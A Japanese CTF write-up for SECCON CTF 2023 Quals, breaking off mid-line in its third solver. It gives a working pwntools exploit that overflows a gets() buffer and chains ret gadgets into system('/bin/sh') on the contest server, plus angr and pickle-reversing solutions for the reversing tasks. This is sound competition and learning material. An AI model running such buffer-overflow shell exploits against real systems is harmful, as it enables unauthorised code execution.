SECCON CTF 2023 Qualsへ参加しました。そのwrite-up記事です。
本記事で解説する問題4問のうち3問はptr-yudai氏作問の問題で、氏が作問に使用したファイル等はptr-yudai / writeups-2023 / SECCON_CTF_Quals — Bitbucketで公開されています。
2023/09/20(水) 02:50頃に、ptr-yudai氏作問のリポジトリのリンクと、xuyao問題でのes
関数のシンボルがIDAでは認識しなかった話を追加しました。
コンテスト概要
2023/09/16(土) 14:00 +09:00 - 2023/09/17(日) 14:00 +09:00 の24時間開催でした。他ルールはAnnouncement of SECCON CTF 2023 QUALS - SECCON2023ページから引用します:
(前略) Language English How to qualify For international division: Top 10 teams For domestic division: Top 10 teams that all team members are residents of Japan. Prizes (for Finals) Total 1M JPY (International 700k JPY, Domestic 300k JPY) (中略) Scoring Rules 1.Scores will be aggregated to per teams. 2.A score of a challenge are determined dynamically - challenges solved by many teams will have fewer points. 3.The Flag format is "SECCON{[\x20-\x7e]+}".We will let you know in the challenge description if the flag has a different format. Registration (後略)
結果
warmup含めて、pwnable1問とrev3問を解けました。
環境
主にWindowsのWSL2(Ubuntu 22.04)を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.3448] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-22.04 Running 2 kali-linux Stopped 2 docker-desktop-data Running 2 docker-desktop Running 2 c:\>
他ソフト
- IDA Version 8.3.230608 Windows x64 (64-bit address size) (なお、Free版IDA version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます。version 7頃から引き続き、x64バイナリも同様に逆コンパイルができます。)
WSL2(Ubuntu 22.04)
$ cat /proc/version Linux version 5.15.90.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Jan 27 02:56:13 UTC 2023 $ cat /etc/os-release PRETTY_NAME="Ubuntu 22.04.3 LTS" NAME="Ubuntu" VERSION_ID="22.04" VERSION="22.04.3 LTS (Jammy Jellyfish)" VERSION_CODENAME=jammy ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=jammy $ python3 --version Python 3.10.12 $ python3 -m pip show pip | grep Version Version: 22.0.2 $ python3 -m pip show IPython | grep Version Version: 7.31.1 $ python3 -m pip show pwntools | grep Version Version: 4.11.0 $ python3 -m pip show angr | grep Version Version: 9.2.2 $ python3 -m pip show z3-solver | grep Version Version: 4.8.16.0 $ sage --version SageMath version 9.5, Release Date: 2022-01-30 $ gdb --version GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 Copyright (C) 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. $ cat ~/peda/README | grep -e 'Version: ' -e 'Release: ' Version: 1.0 Release: special public release, Black Hat USA 2012 $
解けた問題
[pwnable, warmup] rop-2.35 (121 team solved, 93 points)
The number of ROP gadgets is declining worldwide. nc rop-2-35.seccon.games 9999
配布ファイルとして、問題本体のchall
と、元ソースのmain.c
などがありました:
$ file * Dockerfile: ASCII text chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=71bdaa4e6af292c2f768dad63ba43949ee801dcb, for GNU/Linux 3.2.0, not stripped docker-compose.yml: ASCII text main.c: C source, ASCII text $ pwn checksec chall [!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV' [*] '/mnt/d/Documents/work/ctf/SECCON_2023/rop-2.35/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $
main.c
内容は、極めて簡潔な内容でした:
#include <stdio.h> #include <stdlib.h> void main() { char buf[0x10]; system("echo Enter something:"); gets(buf); }
gets
関数を使っているのでBufferOverflowの脆弱性があり、かつカナリアが無いため戻りアドレスを改ざんできます。またsystem
関数を使っているため、それ経由でシェルを起動できそうです。No PIEであるためアドレスリークは不要です。
ひとまずIDAでchall
を開いて逆アセンブルしました(今回の問題バイナリはとても単純なので逆コンパイルは不要でした):
.text:0000000000401156 ; int __fastcall main(int argc, const char **argv, const char **envp) .text:0000000000401156 public main .text:0000000000401156 main proc near .text:0000000000401156 .text:0000000000401156 strSize16= byte ptr -10h .text:0000000000401156 .text:0000000000401156 ; __unwind { .text:0000000000401156 000 F3 0F 1E FA endbr64 .text:000000000040115A 000 55 push rbp .text:000000000040115B 008 48 89 E5 mov rbp, rsp .text:000000000040115E 008 48 83 EC 10 sub rsp, 10h .text:0000000000401162 018 48 8D 05 9B 0E 00 00 lea rax, command ; "echo Enter something:" .text:0000000000401169 018 48 89 C7 mov rdi, rax ; command .text:000000000040116C 018 E8 DF FE FF FF call _system .text:0000000000401171 018 48 8D 45 F0 lea rax, [rbp+strSize16] .text:0000000000401175 018 48 89 C7 mov rdi, rax .text:0000000000401178 018 B8 00 00 00 00 mov eax, 0 .text:000000000040117D 018 E8 DE FE FF FF call _gets .text:0000000000401182 018 90 nop .text:0000000000401183 018 C9 leave .text:0000000000401184 000 C3 retn .text:0000000000401184 ; } // starts at 401156 .text:0000000000401184 main endp
gets
関数は引数のバッファアドレスを返すためmain
関数から抜ける時点ではrax
に入力内容のアドレスが保持されています。かつsystem
関数呼び出し直前にmov rdi, rax
があるためmain
関数の戻りアドレスをそこへ改ざんすれば、gets
へ入力した引数そのままにsystem
関数を実行できるため、その方法でsh
を起動できそうに見えます。
そういうわけで一見すると単純に見えたのですが、実際にソルバーを書いて試してみるとsh: 1: V\x11@: not found
エラーとなりsh
を起動できませんでした。デバッガーで動作を追っていると、sh
起動用のsystem
関数呼び出し中に、入力文字列バッファが破壊されていることに気付きました。そうです、C言語において寿命が尽きたローカル変数を使うことは未定義動作です!
原因は分かったので、system
関数呼び出し中に入力文字列バッファを破壊されない程度にret
を連発することでrsp
レジスタを移動させる方針を取りました。最終的なソルバーです:
#!/usr/bin/env python3 import pwn import sys BIN_NAME = "./chall" pwn.context.binary = BIN_NAME pwn.context.terminal = ['wt.exe', "--window", "gdb_debug", "wsl"] def solve(io): addr_mov_rdi_rax_call_system = 0x401169 addr_ret = 0x401184 addr_data = 0x404028 sh = b"/bin/sh\x00" padding = b"A" * ((16+8) - len(sh)) # including saved rbp payload = pwn.flat([ sh, padding, ]) payload += pwn.pack(addr_ret) * 2 * 48 payload += pwn.pack(addr_mov_rdi_rax_call_system) assert b"\n" not in payload io.sendlineafter(b"Enter something:", payload) io.interactive() # with pwn.process(BIN_NAME) as io: solve(io) with pwn.remote("rop-2-35.seccon.games", 9999) as io: solve(io) # COMMAND = """ # set follow-fork-mode parent # b gets # continue # fin # """ # with pwn.gdb.debug(BIN_NAME, COMMAND) as io: solve(io)
実行しました:
$ ./solve.py [!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV' [*] '/mnt/d/Documents/work/ctf/SECCON_2023/rop-2.35/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to rop-2-35.seccon.games on port 9999: Done [*] Switching to interactive mode $ ls bin boot dev etc flag-b6c1520bf7debd2531dec4a0a58e878c.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var $ cat flag* SECCON{i_miss_you_libc_csu_init_:cry:} $ [*] Closed connection to rop-2-35.seccon.games port 9999
フラグを入手できました: SECCON{i_miss_you_libc_csu_init_:cry:}
[reversing, warmup] jumpout (154 team solved, 84 points)
Sequential execution
配布ファイルとして、問題本体のjumpout
がありました:
$ file jumpout jumpout: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=707d320f5878e3aa46c32541861d1ac04efd9f29, for GNU/Linux 3.2.0, stripped $
IDAで開いて逆コンパイルしてみました:
void __fastcall main(int a1, char **a2, char **a3) { JUMPOUT(0x1170LL); }
なるほど問題文通りのJUMPOUT
です!しかし逆アセンブル結果は以下のようになっており、なにか処理をやっていそうなことが分かります:
.text:00000000000010E0 ; void __fastcall main(int, char **, char **) .text:00000000000010E0 main proc near ; DATA XREF: start+18↓o .text:00000000000010E0 .text:00000000000010E0 var_D8 = qword ptr -0D8h .text:00000000000010E0 var_D0 = qword ptr -0D0h .text:00000000000010E0 var_C8 = qword ptr -0C8h .text:00000000000010E0 var_C0 = qword ptr -0C0h .text:00000000000010E0 var_B8 = qword ptr -0B8h .text:00000000000010E0 var_B0 = qword ptr -0B0h .text:00000000000010E0 var_40 = qword ptr -40h .text:00000000000010E0 .text:00000000000010E0 ; __unwind { .text:00000000000010E0 000 F3 0F 1E FA endbr64 .text:00000000000010E4 000 41 57 push r15 .text:00000000000010E6 008 48 8D 15 23 01 00 00 lea rdx, sub_1210 .text:00000000000010ED 008 48 8D 0D FC 00 00 00 lea rcx, sub_11F0 .text:00000000000010F4 008 41 56 push r14 .text:00000000000010F6 010 41 BE 02 00 00 00 mov r14d, 2 .text:00000000000010FC 010 4C 8D 3D 16 0F 00 00 lea r15, aWrong ; "Wrong..." .text:0000000000001103 010 41 55 push r13 .text:0000000000001105 018 4C 8D 2D FF 0E 00 00 lea r13, a99s ; "%99s" .text:000000000000110C 018 41 54 push r12 .text:000000000000110E 020 4C 8D 25 EF 0E 00 00 lea r12, aFlag ; "FLAG: " .text:0000000000001115 020 55 push rbp .text:0000000000001116 028 53 push rbx .text:0000000000001117 030 41 8D 5E FF lea ebx, [r14-1] .text:000000000000111B 030 48 81 EC A8 00 00 00 sub rsp, 0A8h .text:0000000000001122 0D8 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h .text:000000000000112B 0D8 48 89 84 24 98 00 00 00 mov [rsp+0D8h+var_40], rax .text:0000000000001133 0D8 48 8D 05 36 00 00 00 lea rax, sub_1170 .text:000000000000113A 0D8 48 89 54 24 08 mov [rsp+0D8h+var_D0], rdx .text:000000000000113F 0D8 48 8D 15 8A 00 00 00 lea rdx, sub_11D0 .text:0000000000001146 0D8 48 89 4C 24 10 mov [rsp+0D8h+var_C8], rcx .text:000000000000114B 0D8 48 8D 0D E6 00 00 00 lea rcx, sub_1238 .text:0000000000001152 0D8 48 89 54 24 18 mov [rsp+0D8h+var_C0], rdx .text:0000000000001157 0D8 48 8D 15 42 00 00 00 lea rdx, sub_11A0 .text:000000000000115E 0D8 48 89 4C 24 20 mov [rsp+0D8h+var_B8], rcx .text:0000000000001163 0D8 48 89 54 24 28 mov [rsp+0D8h+var_B0], rdx .text:0000000000001168 0D8 48 89 04 24 mov [rsp+0D8h+var_D8], rax .text:000000000000116C 0D8 FF E0 jmp rax .text:000000000000116C main endp
他の関数も同じ調子で、どうやらいくつかレジスタ操作をした後に、jmp rax
等を使って他関数へジャンプする内容のようです。中々処理を追うのは骨が折れそうです。
「試しにangr
で実行してみよう、だめだったらちゃんと処理を読もう」と思いました。以下のコードを書きました:
#!/usr/bin/env python3 import angr import claripy p = angr.Project('./jumpout', load_options={"auto_load_libs": False}) # 実行ファイル名 argv = [p.filename] state = p.factory.entry_state(args = argv) simgr = p.factory.simulation_manager(state) simgr.explore(find=lambda s: b"Correct" in s.posix.dumps(1)) if len(simgr.found) > 0: state = simgr.found[0] print(state.posix.dumps(0)) else: print("Not found...")
実行しました:
$ time ./solve_by_angr.py WARNING | 2023-09-17 15:58:13,922 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior. WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages. WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff8c with 4 unconstrained bytes referenced from 0x401279 (PLT.__isoc99_scanf+0x1a9 in jumpout (0x1279)) WARNING | 2023-09-17 15:58:14,239 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff24 with 4 unconstrained bytes referenced from 0x500010 (strlen+0x0 in extern-address space (0x10)) WARNING | 2023-09-17 15:58:14,239 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff30 with 8 unconstrained bytes referenced from 0x500010 (strlen+0x0 in extern-address space (0x10)) b'SECCON{jump_table_everywhere}\x00\x1a\x01\x89\x01\x08\x80\x80\x08i\x1a\x01)\x1aD\x04\x00\x02\x02I\xc4)\x02\xa1\x00N\x10\x02\x00\x16\x02\x00\x00\x00\x19\x00\x01*JJ\x89J\x0e)\x89J\x19\x89\x19))\x00#\x08\x0c\x82\x89\x89\x02\x89\x00\x04\xa6I\x19\x19IK:\x19' ./solve_by_angr.py 4.63s user 0.57s system 119% cpu 4.368 total $ ./jumpout FLAG: SECCON{jump_table_everywhere} Correct! $ ./jumpout FLAG: SECCON{jump_table_everywhere} Correct! $
フラグを入手できました: SECCON{jump_table_everywhere}
[reversing] Sickle (89 team solved, 106 points)
問題概要
Pickle infected with COVID-19
配布ファイルとして、問題本体のproblem.py
がありました:
import pickle, io payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.' f = io.BytesIO(payload) res = pickle.load(f) if isinstance(res, bool) and res: print("Congratulations!!") else: print("Nope")
pickle.load
結果がTrue
になれば成功のようです。珍しいPythonのリバーシング、かつその中でもpickle
のリバーシングの問題です!試しに実行した結果です:
$ python3 ./problem.py FLAG> test Nope $
pickle
の内部表現を調べていると、PythonのPickleにおける脆弱性 - Qiitaを見つけました。デシリアライズ対象がreduce
関数をオーバーライドしていると、任意コードを実行できるとのことです。今回の問題もその方法を使っているのでしょう。
そうなると、デシリアライズ対象の読解が必要です。上記記事中にpickletools.dis
を使うと逆アセンブルできるとの記述があります。ただ試してみると読み解くことが非常に辛そうな形式でした。別の方法を探すとtrailofbits/fickling: A Python pickling decompiler and static analyzerを見つけたので試しました。本記事執筆時点ではfickling-0.0.6
が最新バージョンのようで、それを使いました。サンプルページにもある通り、以下のような出力が得られます:
Module( body=[ Assign( targets=[ Name(id='_var0', ctx=Store())], value=Call( func=Name(id='input', ctx=Load()), args=[ Constant(value='FLAG> ')], keywords=[])), Assign( targets=[ Name(id='_var1', ctx=Store())], value=Call( func=Name(id='getattr', ctx=Load()), args=[ Name(id='_var0', ctx=Load()), Constant(value='encode')], keywords=[])), (省略) ])
まだ構文木そのものらしい見た目ですが、pickletools.dis
結果よりははるかに読み進めやすかったです。
payload内容の理解
fickling
の出力結果を読み進めていくと、以下の内容がありました:
Assign( targets=[ Name(id='_var4', ctx=Store())], value=Call( func=Name(id='globals', ctx=Load()), args=[], keywords=[])), Assign( targets=[ Name(id='_var5', ctx=Store())], value=Call( func=Name(id='_var3', ctx=Load()), args=[ Name(id='_var4', ctx=Load()), Constant(value='f')], keywords=[])), Assign( targets=[ Name(id='_var6', ctx=Store())], value=Call( func=Name(id='getattr', ctx=Load()), args=[ Name(id='_var5', ctx=Load()), Constant(value='seek')], keywords=[])), (中略) Assign( targets=[ Name(id='_var22', ctx=Store())], value=Call( func=Name(id='_var6', ctx=Load()), args=[ Name(id='_var21', ctx=Load())], keywords=[])),
グローバル変数f
を取得して、f.seek
を保持し、後で呼び出しています。つまり、pickle.load(f)
のデシリアライズ中に、ストリームf
の位置を変更しています!これが本問題の最も特徴的な点で、かつ読解を困難にする点だと思います。
pickle.load
で読み込む内容の命令はcpython/Lib/pickletools.pyに記載があるようです。その中のSTOP
命令(バイトコードは.
文字)が、今回のpayload
途中に2回現れています。どうやら、以下の処理を行っているようでした:
- 1回目の判定で
f.seek
位置を変化させ、Wrong判定なら1つ目のSTOP
命令で終了 - 2回目の判定で
f.seek
位置を変化させ、Wrong判定なら2つ目のSTOP
命令で終了 - 残りは最後まで何かをして、最後のSTOP命令で終了
payload
内容をそのままfickling
で解析するだけでは1つ目のSTOP
命令で打ち止めになってしまいます。NOP
命令はなさそうだったので、STOP
命令周辺を適当に除去してとりあえず最後まで解析させるようにしました:
#!/usr/bin/env python3 import pickle, io import pickletools import sys import ast from fickling.pickle import Pickled payload = bytearray(b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.') del payload[259:262] # 1st stop del payload[325:328] # 2nd stop f = io.BytesIO(payload) with open("pickled_result.txt", "w") as fout: fout.write(ast.dump(Pickled.load(f).ast, indent=2))
出力結果の、各変数の読解メモです:
- _var0 :: input("FLAG> ") - _var1 :: input("FLAG> ").encode - _var2 :: input("FLAG> ").encode() - _var3 :: dict#get - _var4 :: globals() - _var5 :: globals().get["f"] - _var6 :: f.seek # SEEK!!!!!!!! - _var7 :: int#__add__ - _var8 :: int#__mul__ - _var9 :: int#__eq__ - _var10 :: len(input("FLAG> ").encode()) # 以降 inputLength と記述 - _var11 :: inputLength == 64 # 以降 isCorrenctLength と記述 - _var12 :: f.seek(isCorrectLength + 261) # (長さ64のときは続きへ、そうでないときは261のSTOPで停止) # 以降、index 261の1個めのSTOP後、もしかしたら何かがズレているかも - _var13 :: input("FLAG> ").encode().__getitem__ - _var14 :: input("FLAG> ").encode()[0] - _var15 :: input("FLAG> ").encode()[0].__le__ - _var16 :: input("FLAG> ").encode()[0].__le__(127) # ASCII範囲では常にTrueでは? - _var17 :: f.seek(input("FLAG> ").encode()[0].__le__(127).__mull__(330)) # 常に330へ飛びそう # 2つ目のstop後 - _var18 :: 0+1 # = 常に1 - _var19 :: _var18 == 64 # 常に0 - _var20 :: (_var18 == 64) * 85 # 常に0では? - _var21 :: ((_var18 == 64) * 85) + 290 # 常に290では? - _var22 :: f.seek(((_var18 == 64) * 85) + 290) # 290か (+ 290 85)375のどちらかへ飛ぶ、多分前者 # seek後なので何かが変かもしれない - _var23 :: [].append - _var24 :: [].__getitem__ - _var25 :: int.from_bytes - _var26 :: 0*8 # 0固定 - _var27 :: 0+1 # 1固定 - _var28 :: 1*8 # 8固定 - _var29 :: slice(0, 8) - _var30 :: input("FLAG> ").encode().__getitem__(slice(0,8)) # 入力の先頭8文字 - _var31 :: int.from_bytes(入力の先頭8文字, "little") - _var32 :: [].append(int.from_bytes(入力の先頭8文字, "little")) # listオブジェクトどこだろう?、_var23出典 - _var33 :: 0+1 # 1固定 - _var34 :: (0+1)==8 # 0固定 - _var35 :: ((0+1)==8)*119 # 0固定 - _var36 :: (((0+1)==8)*119)+457 # 457固定? - _var37 :: f.seek((((0+1)==8)*119)+457) # seek後なので何かが変かもしれない - _var38 :: [].append - _var39 :: [].__get_item__ - _var40 :: int.__xor__ - _var41 :: [].__get_item(0) # 出典は_var24 - _var42 :: ([].__get_item(0) ^ 1244422970072434993) # 0x1145141919810931 # さよか - _var43 :: pow([].__get_item(0) ^ 1244422970072434993, 65537, 18446744073709551557) # nは素数 - _var44 :: [].append(_var43) # pow結果 - _var45 :: [].__get_item__(0) - _var46 :: 0+1 # 1固定 - _var47 :: (0+1) <= 8 # 1固定 - _var48 :: ((0+1) <= 8) * 131 # 131固定? - _var49 :: (((0+1) <= 8) * 131) + 679 # (+ 131 679)810固定? - _var50 :: f.seek((((0+1) <= 8) * 131) + 679) # seek後なので何かが変かもしれない - _var51 :: [].__eq__ - _var52 :: [].__eq__(List( elts=[ Constant(value=8215359690687096682), Constant(value=1862662588367509514), Constant(value=8350772864914849965), Constant(value=11616510986494699232), Constant(value=3711648467207374797), Constant(value=9722127090168848805), Constant(value=16780197523811627561), Constant(value=18138828537077112905)], ctx=Load())) - result :: __var52
完全固定値に見える計算があったり、list
のインスタンスが何かよく分からなかったりで、不完全な内容ではありそうです。ただ、pow
関数を使っていることや、最後に固定値リストとの比較をしていることは分かりました。
ソルバーと実行結果
試行錯誤を繰り返した思考過程です:
_var11
の処理から察するに、フラグ入力は64文字である必要がありそうです。pow([].__get_item(0) ^ 1244422970072434993, 65537, 18446744073709551557)
結果をlist.append
していそうなので、pow結果が最後の比較対象になれば良さそうです。pow
関数を自作関数へ置き換えれば、引数の確認や結果の加工ができます! なおint.__xor__
等のクラスメンバーは自作関数への置き換え方法が分かりませんでした……。- 実際に
pow
関数の戻り値を最後に比較するList内容に改変すると、正解扱いになりました。 pow
関数のmod
引数が素数なので、sagemathで65537
乗根を求められそうです。- フラグ入力の1文字目を変更すると、
pow
関数8回分の第1引数64バイト全てが変化しました。一方でフラグ入力の64文字目を変更すると、pow
関数8回分の第1引数64バイトの最後1バイトのみが変化しました。
ひとまずsagemathで各要素の65537
乗根を求めました(sagemathを中々使う機会がないので、このコードを書くだけでも結構時間がかかりました):
#!/usr/bin/env sage # -*- coding: utf-8 -*- pow_e = 65537 pow_n = 18446744073709551557 expected = [ 8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] k = GF(pow_n) for x in expected: print(k(x).nth_root(pow_e))
$ time sage calculate_65537-th_root.sage 5926273486602521698 2118872653869140235 7690147796159135076 1350097776365920200 14146162966031303359 6544350313541966015 17479188458984114886 10799636147710529868 sage calculate_65537-th_root.sage 0.84s user 0.16s system 80% cpu 1.243 total $
後はどうにかして1文字ずつフラグを特定できないか試していると、先頭から1文字ずつ特定する方法でうまくいきました(最初は後ろから求めようとしてハマっていました):
#!/usr/bin/env python3 import pickle, io import sys payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.' pow_e = 65537 pow_n = 18446744073709551557 expected = [ 8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] expected_before_pow = [5926273486602521698, 2118872653869140235, 7690147796159135076, 1350097776365920200, 14146162966031303359, 6544350313541966015, 17479188458984114886, 10799636147710529868] assert 